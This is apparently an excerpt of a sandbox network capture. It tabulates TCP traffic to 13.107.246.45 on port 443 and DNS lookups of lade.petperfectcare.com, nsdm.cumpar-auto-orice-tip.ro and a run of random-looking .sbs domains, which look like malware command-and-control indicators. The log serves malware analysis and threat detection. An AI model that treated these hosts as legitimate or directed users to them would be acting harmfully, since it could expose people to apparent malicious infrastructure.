Oct 7, 2024 18:44:42.459784031 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.459798098 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.473398924 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.473851919 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.473866940 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.474514008 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.474519968 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.577233076 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.577296972 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.577428102 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.577447891 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.577511072 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.577567101 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.577864885 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.577877998 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.577910900 CEST	53895	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.577917099 CEST	443	53895	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.581917048 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.581969023 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.582109928 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.582344055 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.582359076 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.627825975 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.628868103 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.628900051 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.629426956 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.629432917 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.817893982 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.817929029 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.818032026 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.818053007 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.818100929 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.818602085 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.818605900 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.818631887 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.818833113 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.818873882 CEST	443	53894	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.818918943 CEST	53894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.823157072 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.823261976 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.823365927 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.823560953 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.823590040 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.989742994 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.991338015 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.991360903 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:42.992085934 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:42.992091894 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.073937893 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.074590921 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.074610949 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.075393915 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.075402021 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.080117941 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.080887079 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.080904007 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.081511021 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.081516981 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.089329004 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.089392900 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.089447975 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.089571953 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.089571953 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.089606047 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.089660883 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.170685053 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.170787096 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.170811892 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.170872927 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.170939922 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.170978069 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.171036959 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.171094894 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.171107054 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.171241045 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.171260118 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.171289921 CEST	53896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.171292067 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.171295881 CEST	443	53896	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.171339035 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.172863960 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.172883034 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.172894955 CEST	53897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.172900915 CEST	443	53897	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.179275990 CEST	53901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.179327965 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.179413080 CEST	53901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.179529905 CEST	53902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.179553986 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.179622889 CEST	53902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.179785013 CEST	53901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.179821014 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.179925919 CEST	53902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.179946899 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.185396910 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.185421944 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.185441017 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.185512066 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.185524940 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.185580015 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.268260956 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.268330097 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.268359900 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.268400908 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.268450022 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.272285938 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.272304058 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.272315025 CEST	53898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.272320986 CEST	443	53898	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.275448084 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.277332067 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.277354002 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.278707981 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.278713942 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.283708096 CEST	53903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.283807039 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.283893108 CEST	53903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.284276009 CEST	53903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.284310102 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.463144064 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.463176012 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.463368893 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.463395119 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.463462114 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.463746071 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.463845968 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.463908911 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.464159012 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.464178085 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.464202881 CEST	53899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.464210033 CEST	443	53899	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.468058109 CEST	53904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.468100071 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.468274117 CEST	53904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.468470097 CEST	53904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.468482971 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.583864927 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.588932037 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.588964939 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.589380026 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.589386940 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.708527088 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.708555937 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.708647013 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.708714008 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.708890915 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.709475040 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.709557056 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.709557056 CEST	53900	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.709599018 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.709623098 CEST	443	53900	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.712457895 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.712496996 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.713500023 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.713632107 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.713641882 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.938848019 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.939522028 CEST	53902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.939603090 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:43.940013885 CEST	53902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:43.940027952 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.002163887 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.006450891 CEST	53901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.006517887 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.007054090 CEST	53901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.007069111 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.037924051 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.038006067 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.041505098 CEST	53902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.041766882 CEST	53902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.041784048 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.041805029 CEST	53902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.041810036 CEST	443	53902	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.045413971 CEST	53906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.045464993 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.046457052 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.049482107 CEST	53906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.049690962 CEST	53906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.049710035 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.050085068 CEST	53903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.050167084 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.050674915 CEST	53903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.050688028 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.104178905 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.104326963 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.105500937 CEST	53901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.105814934 CEST	53901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.105823994 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.105843067 CEST	53901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.105846882 CEST	443	53901	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.109486103 CEST	53907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.109532118 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.113488913 CEST	53907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.113723993 CEST	53907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.113738060 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.149867058 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.149931908 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.153533936 CEST	53903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.153778076 CEST	53903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.153827906 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.153856993 CEST	53903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.153873920 CEST	443	53903	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.157375097 CEST	53908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.157445908 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.161499023 CEST	53908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.161700964 CEST	53908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.161731958 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.189368010 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.189939022 CEST	53904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.189949036 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.190565109 CEST	53904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.190571070 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.288935900 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.289093971 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.289486885 CEST	53904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.289832115 CEST	53904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.289853096 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.289865017 CEST	53904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.289870977 CEST	443	53904	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.293263912 CEST	53909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.293318987 CEST	443	53909	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.293469906 CEST	53909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.293678045 CEST	53909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.293690920 CEST	443	53909	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.322173119 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.322840929 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.322906017 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.323514938 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.323529959 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.416821003 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.416908979 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.416969061 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.417027950 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.417028904 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.417268991 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.417315960 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.417344093 CEST	53905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.417360067 CEST	443	53905	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.672287941 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.673207045 CEST	53906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.673275948 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.673634052 CEST	53906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.673648119 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.749272108 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.749944925 CEST	53907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.749989986 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.750452995 CEST	53907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.750459909 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.773061991 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.773150921 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.773225069 CEST	53906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.773396969 CEST	53906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.773448944 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.773478031 CEST	53906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.773494959 CEST	443	53906	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.814321995 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.814966917 CEST	53908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.815037966 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.815694094 CEST	53908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.815709114 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.844024897 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.844558954 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.844628096 CEST	53907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.844733000 CEST	53907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.844755888 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.844768047 CEST	53907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.844774008 CEST	443	53907	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.914649010 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.914714098 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.914803028 CEST	53908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.915112972 CEST	53908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.915177107 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.915213108 CEST	53908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.915229082 CEST	443	53908	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.933738947 CEST	443	53909	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.934344053 CEST	53909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.934362888 CEST	443	53909	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:44.935524940 CEST	53909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:44.935532093 CEST	443	53909	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:45.030450106 CEST	443	53909	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:45.030616045 CEST	443	53909	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:45.030689001 CEST	53909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:45.030863047 CEST	53909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:45.030879021 CEST	443	53909	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:45.030894041 CEST	53909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:45.030898094 CEST	443	53909	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:43:22.767189026 CEST	56730	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:22.969914913 CEST	53	56730	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:30.935441971 CEST	53	54831	162.159.36.2	192.168.2.4
Oct 7, 2024 18:43:31.672252893 CEST	61935	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:31.681894064 CEST	53	61935	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:45.167438030 CEST	49487	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:45.225532055 CEST	53	49487	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:46.889353991 CEST	61407	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:46.898972034 CEST	53	61407	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:46.901468992 CEST	63349	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:46.911741018 CEST	53	63349	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:46.933228970 CEST	52425	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:46.942990065 CEST	53	52425	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:46.947107077 CEST	51114	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:46.956984043 CEST	53	51114	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:46.969496012 CEST	55648	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:46.978918076 CEST	53	55648	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:46.986907005 CEST	61512	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:46.994817019 CEST	53	61512	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:47.578142881 CEST	59282	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:47.588582039 CEST	53	59282	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:47.591381073 CEST	56748	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:47.608082056 CEST	53	56748	1.1.1.1	192.168.2.4
Oct 7, 2024 18:43:48.378865957 CEST	63213	53	192.168.2.4	1.1.1.1
Oct 7, 2024 18:43:48.390822887 CEST	53	63213	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 18:43:22.767189026 CEST	192.168.2.4	1.1.1.1	0xb37b	Standard query (0)	lade.petperfectcare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:31.672252893 CEST	192.168.2.4	1.1.1.1	0x6d79	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 7, 2024 18:43:45.167438030 CEST	192.168.2.4	1.1.1.1	0x55b4	Standard query (0)	nsdm.cumpar-auto-orice-tip.ro	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.889353991 CEST	192.168.2.4	1.1.1.1	0xea85	Standard query (0)	exemplarou.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.901468992 CEST	192.168.2.4	1.1.1.1	0x6539	Standard query (0)	frizzettei.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.933228970 CEST	192.168.2.4	1.1.1.1	0x7fc	Standard query (0)	isoplethui.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.947107077 CEST	192.168.2.4	1.1.1.1	0x26c5	Standard query (0)	bemuzzeki.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.969496012 CEST	192.168.2.4	1.1.1.1	0xce5b	Standard query (0)	exilepolsiy.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:46.986907005 CEST	192.168.2.4	1.1.1.1	0x3adf	Standard query (0)	laddyirekyi.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:43:47.000931978 CEST	192.168.2.4	1.1.1.1	0x1	Standard query (0)	laddyirekyi.sbs	A (IP address)	IN (0x0001)	false
